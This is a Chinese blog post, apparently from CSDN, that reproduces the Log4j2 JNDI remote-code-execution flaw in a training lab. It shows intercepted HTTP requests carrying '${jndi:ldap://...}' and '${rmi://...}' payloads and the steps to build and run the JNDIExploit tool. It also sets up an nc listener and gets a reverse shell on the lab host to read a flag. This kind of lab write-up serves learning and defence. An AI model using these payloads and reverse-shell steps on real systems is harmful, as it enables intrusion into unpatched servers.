封神台Apache Log4j任意代码执行复现踩坑到复现成功版

Apache Log4j任意代码执行漏洞简介

log4j是Apache的一个开源项目,是一个基于Java的日志记录框架。Log4j2是log4j的后继者,被大量用于业务系统开发,记录日志信息。很多互联网公司以及耳熟能详的公司的系统都在使用该框架。Apache Log4j2 组件在开启了日志记录功能后,凡是在可触发错误记录日志的地方,插入漏洞利用代码,即可利用成功。特殊情况下,若该组件记录的日志包含其他系统的记录日志,则有可能造成间接投毒。通过中间系统,使得组件间接读取了具有攻击性的漏洞利用代码,亦可间接造成漏洞触发。

开启靶场环境

通过对Log4j产生的原理的了解我们可以大致了解到也就是说如果目标没有对我们输入的内容做一些过滤和校验就会使得使目标远程访问到一个LDAP服务请求到一个恶意的class文件从而加载恶意的class文件执行恶意代码
就如下图所示:

开始复现

我们先随便输入账户和密码,拦截到登录的请求包

POST /zkaq/log4jrce HTTP/1.1
Host: d63bb2586.lab.aqlab.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://d63bb2586.lab.aqlab.cn
Authorization: Basic emthcTp6a2Fx
Connection: close
Referer: http://d63bb2586.lab.aqlab.cn/
Upgrade-Insecure-Requests: 1
username=admin&password=123456

 我们正常发送请求就像如图所示

但如果我们另起一个LDAP服务,让其请求的时候直接请求我们的LDAP Server呢,LDAP Server返回恶意exp,然后恶意的class文件再被发送到HTTP server执行

使用dnslog测试是否能远程请求地址

来到Dnslog平台

DNSLog Platform

 这里拿到的地址是9c5c3w.dnslog.cn(每个人的都不一样)

此时我们来到那个登录页面,使用jndi注入请求我们刚刚拿到的Dnslog地址

如果存在漏洞,点击登录后我们会在Dnslog平台看到一条dns请求

踩坑点1:

这个时候我怎么刷新记录都没有看到请求的记录
这个时候我们看一下请求的数据包:

POST /zkaq/log4jrce HTTP/1.1
Host: d63bb2586.lab.aqlab.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
Origin: http://d63bb2586.lab.aqlab.cn
Authorization: Basic emthcTp6a2Fx
Connection: close
Referer: http://d63bb2586.lab.aqlab.cn/
Upgrade-Insecure-Requests: 1
username=%24%7Bjndi%3Aldap%3A%2F%2F9c5c3w.dnslog.cn%7D&password=

发现payload被URL编码了
把payload再重发器中再发送一遍

 此时再刷新dnslog平台,发现它确实可以远程去请求一个地址,漏洞存在

在VPS上面使用JNDI注入工具JNDI-Injection-Exploit也起一个LDAP服务

小坑点1:JNDI-Injection-Exploit项目地址
GitHub - Mr-xn/JNDIExploit-1: 一款用于 JNDI注入 利用的工具,大量参考/引用了 Rogue JNDI 项目的代码,支持直接植入内存shell,并集成了常见的bypass 高版本JDK的方式,适用于与自动化工具配合使用。(from https://github.com/feihong-cs/JNDIExploit)
使用git clone https://github.com/Mr-xn/JNDIExploit-1.git 将项目克隆到vps上

 小坑点2:
刚刚将JNDI-Injection-Exploit克隆到vps后,cd JNDI-Injection-Exploit你是看不到JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar文件和target目录的,你需要在JNDI-Injection-Exploit目录下执行 “mvn clean package -DskipTests”
出现这个标志就代表成功了

此时就能看见JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar文件和target目了

 小坑点3:
使用java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 的时候报错,大概率是vps上还没有Java环境

安装Java环境:

sudo apt update
sudo apt install default-jre
sudo apt install default-jdk

 详细内容可以参考【Ubuntu】安装Java 环境和配置环境变量-CSDN博客

安装完成

总结需要执行的命令:
依次执行 

    1.cd JNDI-Injection-Exploit
    2.mvn clean package -DskipTests
    3.cd target
    4.java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "你要执行的命令" -A "你的vps主机ip地址"

这里我执行的是一个反弹shell的命令,将靶机的shell权限反弹到我的VPS主机上

关于反弹shell详细可参考反弹shell 看这一篇就够了_定时任务反弹shell-CSDN博客

再起一个终端使用nc -lvvp 6666 监听本地的666端口

 

这里是工具给我们提供的payload,我们随便选取一个

----------------------------JNDI Links---------------------------- 
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://x.x.x.x:1099/8ep29j
ldap://x.x.x.x:1389/8ep29j
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://x.x.x.x:1099/ldnkd8
ldap://x.x.x.x.175:1389/ldnkd8
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://x.x.x.x:1099/uznw84
如我们选取rmi://x.x.x.x:1099/ldnkd8这个payload

将payload放到burpsuite中重新请求

POST /zkaq/log4jrce HTTP/1.1
Host: d63bb2586.lab.aqlab.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Origin: http://d63bb2586.lab.aqlab.cn
Authorization: Basic emthcTp6a2Fx
Connection: close
Referer: http://d63bb2586.lab.aqlab.cn/
Upgrade-Insecure-Requests: 1
username=${rmi://x.x.x.x:1099/ldnkd8}&password=

 点击send

坑点4:
send之后怎么都没成功,这个时候可以试一下其他的payload,一共给出了5个payload

但是我这里的原因是vps的防火墙没有开放nc 监听的6666端口,去自己的vps上设置一下防火墙规则

最后send!

反弹shell成功

最后再使用cat flag.txt把flag读出来就好啦

  • 17
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值